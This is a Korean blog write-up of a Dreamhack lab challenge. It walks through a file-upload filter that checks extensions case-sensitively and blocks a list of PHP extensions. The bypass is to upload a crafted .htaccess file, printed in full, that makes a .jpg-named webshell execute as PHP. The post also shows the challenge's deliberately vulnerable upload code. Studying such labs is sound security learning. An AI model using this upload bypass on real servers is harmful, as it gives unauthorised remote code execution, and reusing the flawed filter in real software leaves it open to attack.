본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] Apache htaccess write up

 

위는 바로 문제 서버 접속 화면이다. 

 

 

서버 분석


Choose a file을 누르면 파일을 선택할 수 있고 위와같이 파일이 올라간다. submit을 누르면,

 

 

에러를 반환한다. 아마도 php파일이라서 그런거 같다. 이걸 우회하는게 문제인듯. 다른 파일을 올려보자.

 

 

파이썬 파일을 올리니 제대로 올라간걸 볼 수 있다. 이제 코드를 분석해보자..

 

 

index.php


<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online File Box</h1>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <div class="field">
                <div id="file-js" class="file has-name">
                    <label class="file-label">
                        <input class="file-input" type="file" name="file">
                        <span class="file-cta">
                            <span class="file-label">Choose a file...</span>
                        </span>
                        <span class="file-name">No file uploaded</span>
                    </label>
                </div>
            </div>
            <div class="control">
                <input class="button is-success" type="submit" value="submit">
            </div>
        </form>
        </div>
        </div>
        <script>
            const fileInput = document.querySelector('#file-js input[type=file]');
            fileInput.onchange = () => {
                if (fileInput.files.length > 0) {
                const fileName = document.querySelector('#file-js .file-name');
                fileName.textContent = fileInput.files[0].name;
                }
            }
        </script>
    </body>
</html>

 

index.php파일이다. 별다른 코드는 없고 자바스크립트 쪽을 보면 파일이 선택 되었을 때,

 

표시된 부분을 바꾸는 것 같으므로 넘어간다.

 

 

upload.php


<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

 

upload.php는 submit이 눌렸을 때 처리되는 코드이다. 파일이 업로드 되는 부분을 살펴보자.

 

우선 요청이들어온 파일명을 explode함수를 통해 .을 기준으로 나누어 temp에 저장한다. 그중 end()를 통해 마지막 값을 반환한다. -> 이는 확장자가 될 것 같다. 그 후 미리 정의해 둔 키워드들이 있는지 확장자를 검사한다. 있을 경우 die시키며

 

없을 경우 파일이 없로드 된다.

 

 

확장자 우회


필터링 부분을 보면 대소문자를 구별하고 있기 때문에 대문자로 확장자를 변경하니 제대로 올라간 걸 볼 수 있다. 우회된 듯 싶어서 파일에 접근하니

 

글자가 깨지고 php가 해석이 안 된걸 볼 수 있다. 아마 아파치 설정파일에 php파일을 허용이 안 된 것 같다. 문제의도대로 apache 설정파일을 건드려보자..

 

 

000-default.conf


<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

   <Directory /var/www/html/>
     AllowOverride All
     Require all granted
   </Directory>
</VirtualHost>

 

위 파일은 문제에서 주어지는 apache 설정파일에 일부로 보인다. 파일을 보면 AllowOverride를 All로 해두었다. 따라서 디렉토리마다 .htaccess를 사용할 수 있어보인다. upload 경로에 php파일을 해석하도록 하는 .htaccess 파일을 업로드하고 웹쉘을 업로드하여 접근하자.

 

 

exploit


<Files "webshell-dreamhack.jpg">
    # php-fpm (PHP FastCGI Process Manager)을 사용하는 경우
    SetHandler "proxy:unix:/run/php-fpm/www.sock|fcgi://localhost"
    # Apache2 자체 mod_php를 사용하는 경우
    SetHandler application/x-httpd-php
</Files>

 

.htaccess의 이름으로 파일을 저장해 위 정보를 업로드한다.

 

파일의 내용은 다음과 같다. "webshell-dreamhack.jpg" 라는 파일이 upload 디렉토리 경로에 오게 되면 SetHendler에 적힌 내용으로 해석하게 된다. 즉 php파일로 해석해 실행하게 된다.

 

이제 "webshell-dreamhack.jpg"파일을 올려보자.

 

접근 ㄱㄱ

 

쉘이 따였다. ㅎㅎ